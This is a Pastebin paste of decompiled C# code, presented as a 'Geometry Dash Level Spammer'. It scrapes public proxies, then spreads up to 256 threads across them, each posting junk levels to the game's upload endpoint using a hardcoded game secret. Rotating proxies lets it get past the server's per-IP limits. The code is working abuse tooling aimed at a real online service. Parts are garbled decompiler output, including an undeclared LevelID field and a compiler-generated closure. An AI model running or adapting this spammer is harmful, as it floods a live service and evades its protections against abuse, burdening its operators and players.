Advertisement
ChrisTheos123

Geometry Dash Level Uploader (Spammer)

Jul 11th, 2017
147
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.50 KB | None | 0 0
  1. using Microsoft.VisualBasic.CompilerServices;
  2. using System;
  3. using System.Collections;
  4. using System.Collections.Generic;
  5. using System.IO;
  6. using System.Net;
  7. using System.Text;
  8. using System.Text.RegularExpressions;
  9. using System.Threading;
  10.  
  11. namespace GDLevelSpamBot
  12. {
  13. [StandardModule]
  14. internal sealed class Module1
  15. {
  16. private static int MaxThreads = 256;
  17. private static int Counter = 0;
  18. private static int ThreadsCompleted = 0;
  19. private static List<string> proxies = new List<string>();
  20. private static int Succes = 0;
  21. private static WebProxy myProxy;
  22.  
  23. [STAThread]
  24. public static void Main()
  25. {
  26. Console.ForegroundColor = ConsoleColor.Red;
  27. try
  28. {
  29. Console.WriteLine("Geometry Dash Level Spammer By ChrisTheos123!");
  30. Console.WriteLine("-----------------------------------");
  31. Console.Write("MaxThreads (256 Recommended):");
  32. Module1.MaxThreads = Conversions.ToInteger(Console.ReadLine());
  33. Module1.GrabProxies();
  34. }
  35. catch (Exception ex)
  36. {
  37. ProjectData.SetProjectError(ex);
  38. Console.WriteLine("You typed something wrong, restarting...");
  39. ProjectData.ClearProjectError();
  40. }
  41. }
  42.  
  43. public static void GrabProxies()
  44. {
  45. Console.WriteLine("Collecting Fresh Proxies...");
  46. try
  47. {
  48. MatchCollection matchCollection = new Regex("[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}:[0-9]{1,4}").Matches(new StreamReader(((HttpWebResponse)((HttpWebRequest)WebRequest.Create("http://proxyserverlist-24.blogspot.com.eg/feeds/posts/default")).GetResponse()).GetResponseStream()).ReadToEnd());
  49. try
  50. {
  51. foreach (Match match in matchCollection)
  52. Module1.proxies.Add(match.ToString());
  53. }
  54. finally
  55. {
  56. IEnumerator enumerator;
  57. if (enumerator is IDisposable)
  58. (enumerator as IDisposable).Dispose();
  59. }
  60. Console.WriteLine("Collected " + Conversions.ToString(Module1.proxies.Count) + " Proxies!");
  61. Thread.Sleep(2500);
  62. Module1.SetProxies();
  63. }
  64. catch (Exception ex)
  65. {
  66. ProjectData.SetProjectError(ex);
  67. Console.WriteLine("Something went wrong!");
  68. ProjectData.ClearProjectError();
  69. }
  70. }
  71.  
  72. public static void SetProxies()
  73. {
  74. Console.WriteLine("LevelID: " + Conversions.ToString(Module1.LevelID) + ", Proxies loaded: " + Conversions.ToString(Module1.proxies.Count));
  75. Console.Clear();
  76. Console.WriteLine("Starting Bots...");
  77. int num1 = Math.Min(Module1.proxies.Count, Module1.MaxThreads);
  78. int num2 = num1;
  79. int num3 = 0;
  80. while (num3 <= num2)
  81. {
  82. double d = (double)Module1.proxies.Count / (double)num1 * (double)num3;
  83. List<string> range = Module1.proxies.GetRange(checked((int)Math.Round(Math.Floor(d))), checked((int)Math.Round(unchecked(Math.Min((double)Module1.proxies.Count, d + (double)Module1.proxies.Count / (double)num1) - d))));
  84. ParameterizedThreadStart start;
  85. // ISSUE: reference to a compiler-generated field
  86. if (Module1._Closure\u0024__.\u0024IR10\u002D1 != null)
  87. {
  88. // ISSUE: reference to a compiler-generated field
  89. start = Module1._Closure\u0024__.\u0024IR10\u002D1;
  90. }
  91. else
  92. {
  93. // ISSUE: reference to a compiler-generated field
  94. Module1._Closure\u0024__.\u0024IR10\u002D1 = start = (ParameterizedThreadStart)(a0 => Module1.ReportLevel((List<string>)a0));
  95. }
  96. new Thread(start).Start((object)range);
  97. checked { ++num3; }
  98. }
  99. while (Module1.ThreadsCompleted < num1)
  100. {
  101. Thread.Sleep(250);
  102. Console.Clear();
  103. Console.WriteLine("Proxies Used [" + Conversions.ToString(Math.Round((double)Module1.Counter / (double)Module1.proxies.Count * 100.0)) + "%]");
  104. Console.WriteLine("Reports [" + Conversions.ToString(Module1.Counter) + "]");
  105. }
  106. Console.Clear();
  107. Console.WriteLine("All proxies are used! (You can close the bot now!)");
  108. }
  109.  
  110. public static void ReportLevel(List<string> ProxyList)
  111. {
  112. List<string>.Enumerator enumerator;
  113. try
  114. {
  115. enumerator = ProxyList.GetEnumerator();
  116. while (enumerator.MoveNext())
  117. {
  118. string current = enumerator.Current;
  119. try
  120. {
  121. Module1.myProxy = new WebProxy(current);
  122. byte[] bytes = new UTF8Encoding().GetBytes("gameVersion = 21 & binaryVersion = 33 & gdw = 0 & udid = S15213520027842169290697318242632921000 & userName = Player & levelID = 0 & levelName = test & levelDesc = bGV2ZWwgc3BhbW1lciB0ZXN0IGxvbA == &levelVersion = 1 & levelLength = 0 & audioTrack = 0 & auto = 0 & password = 0 & original = 0 & twoPlayer = 0 & songID = 0 & objects = 1 & coins = 0 & requestedStars = 0 & unlisted = 0 & wt = 2 & wt2 = 0 & extraString = 0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0 & seed = OOJjRb2uHo & seed2 = UFcBAw0HBgUEUAZVBQ5QBFcBBVUBVwFVBQdUClIHAQYKDwwHVVRUAg == &levelString = H4sIAAAAAAAAC6WQwQ3DMAhFF6ISHxvHUU6ZIQP8AbJChm8x7S1RU_XynwHzZHnfShewKo0wZ6G5E0hYIpuVD7ARqsqJIDyiU9mJAxwKtXsK_K - YTxVxJxduSYyxfyaK3_iI9JvGLzX6y2vahUb2FUU04ImWqPLKPE_ZeaMHtjKPykamYAzWOjKn0AREFwjEBM2lCHx5AuCfAx8eAgAA & levelInfo = H4sIAAAAAAAACzPQMzCwBkI9I0trQyBlbAnmmUN4liA5Qz1DczBlZAqmzEAUAFOmhQU4AAAA & secret = Wmfd2893gb7");
  123. HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create("http://www.boomlings.com/database/uploadGJLevel21.php");
  124. httpWebRequest.Proxy = (IWebProxy)Module1.myProxy;
  125. httpWebRequest.Method = "POST";
  126. httpWebRequest.KeepAlive = true;
  127. httpWebRequest.ContentType = "application/x-www-form-urlencoded";
  128. httpWebRequest.ContentLength = (long)bytes.Length;
  129. Stream requestStream = httpWebRequest.GetRequestStream();
  130. requestStream.Write(bytes, 0, bytes.Length);
  131. requestStream.Close();
  132. if (Operators.CompareString(new StreamReader(((HttpWebResponse)httpWebRequest.GetResponse()).GetResponseStream()).ReadToEnd(), "1", false) == 0)
  133. checked { ++Module1.Succes; }
  134. }
  135. catch (Exception ex)
  136. {
  137. ProjectData.SetProjectError(ex);
  138. ProjectData.ClearProjectError();
  139. }
  140. checked { ++Module1.Counter; }
  141. }
  142. }
  143. finally
  144. {
  145. enumerator.Dispose();
  146. }
  147. checked { ++Module1.ThreadsCompleted; }
  148. }
  149. }
  150. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement